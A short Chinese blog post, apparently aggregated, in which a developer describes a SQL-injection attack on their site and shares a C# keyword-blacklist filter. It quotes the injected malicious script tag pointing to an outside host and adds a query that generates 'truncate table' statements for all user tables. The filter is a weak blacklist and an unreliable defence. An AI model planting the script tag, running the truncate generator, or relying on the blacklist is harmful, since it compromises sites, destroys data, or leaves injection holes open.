










最近中招<script src=http://s.see9.us/s.js></script>,比较郁闷,真是猖獗啊,
再回过头来看看代码中的拼接,发现几处Request.QueryString并不是用参数传值,没有做限制,估计就是漏洞点,只有在补充过滤类,来限制了
1
/// <summary>
2
/// 过滤SQL注入关键字[post,get]
3
/// </summary>
4
/// <param name="pStr"></param>
5
/// <returns></returns>
6
public static string GetQueryStringSafe(string pStr)
7
{
8
bool IsValue = true;
9
if (pStr != null && pStr.Length > 0)
10
{
11
pStr = pStr.ToLower();
12
string strSQLin = "'|and|--|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|&|%20|==|>|<";
13
string[] strSQLinGroup = strSQLin.Split(new char[] { '|' }, 23);//23个关键字,有待补充
14
for (int i = 0; i < strSQLinGroup.Length; i++)
15
{
16
if (pStr.IndexOf(strSQLinGroup[i]) >= 0)//表示存在
17
{
18
IsValue = false;
19
break;
20
}
21
}
22
}
23
else
24
{
25
IsValue = false;
26
}
27
if (IsValue)
28
{
29
return pStr;
30
}
31
else
32
return "";
33
}
1
select 'truncate table ' +a.name+char(13)
2
from sysobjects a
3
where a.type= 'u'
4
order by a.name
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。